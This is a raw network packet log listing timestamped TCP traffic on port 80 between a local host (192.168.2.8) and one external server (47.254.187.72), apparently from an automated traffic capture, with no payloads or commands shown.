Jan 2, 2025 20:20:02.382355928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382366896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382376909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382380962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382395029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382409096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382412910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382416010 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382426023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382431984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382438898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382452965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382456064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382472992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382474899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382484913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382492065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382498980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382509947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382514954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382525921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382534027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382539988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382553101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382553101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382565975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382567883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382580996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.382607937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382607937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.382616997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.457942963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.457967997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.457988024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.457999945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.458013058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.458019018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.458025932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.458039999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.458084106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.458101988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.458118916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.470971107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.470984936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471043110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471043110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471055984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471069098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471081972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471093893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471121073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471133947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471143007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471148014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471160889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471179962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471188068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471194029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471206903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471220970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471221924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471234083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471246958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471259117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471281052 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471304893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471595049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471610069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471654892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471671104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471684933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471695900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471714020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471723080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471735954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471740961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471749067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471761942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471772909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471776009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471788883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471798897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471802950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471818924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.471826077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471864939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.471879005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472425938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472446918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472461939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472470045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472474098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472487926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472493887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472501993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472527981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472542048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472544909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472544909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472559929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472579002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472590923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472603083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472614050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472630024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472642899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472655058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472655058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472655058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472655058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472655058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472666979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472680092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472683907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472693920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472707033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472708941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472718954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472731113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472742081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472742081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472755909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472762108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472769976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472781897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472784042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472795010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472807884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472807884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472820997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472827911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472835064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472846985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472848892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.472896099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.472913980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473125935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473139048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473151922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473169088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473176003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473181963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473192930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473195076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473210096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473222017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473233938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473236084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473248959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473252058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473274946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473274946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473295927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473295927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473309994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473321915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473321915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473335981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473344088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473360062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473364115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473375082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473387957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473392963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473402023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473413944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473423958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473427057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473445892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473459005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473460913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473470926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473476887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473484993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473498106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473511934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473515987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473524094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473539114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473540068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473551035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473553896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473567963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473579884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473582029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473592997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473606110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473617077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473622084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473634958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473635912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473647118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473649025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473663092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473675013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473687887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473701000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473702908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473717928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473730087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473731041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473743916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473747969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473757982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473772049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.473778963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473804951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.473834038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.548799038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548821926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548835993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548849106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548863888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548877001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548878908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.548891068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.548921108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.548945904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561629057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561650038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561712980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561748981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561790943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561891079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561903954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561925888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561929941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561945915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561950922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561959982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561973095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561973095 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561986923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.561996937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.561996937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562001944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562014103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562016964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562026978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562027931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562041998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562057972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562068939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562092066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562118053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562181950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562223911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562226057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562237024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562267065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562273979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562277079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562287092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562300920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562311888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562314034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562335968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562352896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562879086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562891960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562905073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562918901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562921047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562931061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562943935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562952042 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562961102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562973976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.562983990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.562999010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563002110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563010931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563024044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563024044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563036919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563050985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563050985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563064098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563075066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563076973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563090086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563102007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563102961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563117981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563133001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563139915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563144922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563159943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563175917 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563179016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563190937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563193083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563213110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563213110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563225985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563227892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563239098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563242912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563257933 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563266993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563277960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563278913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563288927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563293934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563307047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563308001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563334942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563345909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563355923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563369036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563380003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563415051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563417912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563426018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563431025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563443899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563457966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.563479900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563479900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.563508034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564071894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564085007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564097881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564110994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564124107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564125061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564136982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564152956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564157009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564167976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564177990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564179897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564193010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564199924 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564210892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564229965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564232111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.564244986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564256907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.564263105 CET	49704	80	192.168.2.8	47.254.187.72
